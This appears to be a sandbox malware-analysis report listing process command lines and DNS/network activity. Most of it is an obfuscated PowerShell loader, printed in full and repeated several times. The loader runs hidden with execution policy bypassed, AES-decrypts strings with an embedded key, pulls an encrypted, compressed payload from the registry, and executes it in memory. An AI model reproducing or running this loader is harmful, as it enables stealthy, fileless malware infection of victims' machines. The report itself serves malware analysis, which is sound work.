[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{c7abdac7-512f-454e-80f4-a8468c81cfc2}

C:\Windows\system32\werfault.exe

werfault.exe /h /shared Global\f96b0bbbca2f4b758099a30452058b2f /t 7384 /p 5496

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 816 -p 316 -ip 316

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{6e2cdf21-8e1d-4aed-a800-cedce46a1d72}

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 316 -s 3804

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{d921675c-3372-4706-b0ba-be300764a330}

C:\Windows\system32\dwm.exe

"dwm.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 203.33.253.131.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 254.131.255.8.in-addr.arpa udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 8.8.8.8:53 getpocket.cdn.mozilla.net udp
US 8.8.8.8:53 content-signature-2.cdn.mozilla.net udp
US 8.8.8.8:53 shavar.services.mozilla.com udp
US 8.8.8.8:53 push.services.mozilla.com udp
US 8.8.8.8:53 firefox.settings.services.mozilla.com udp
US 34.149.100.209:443 firefox.settings.services.mozilla.com tcp
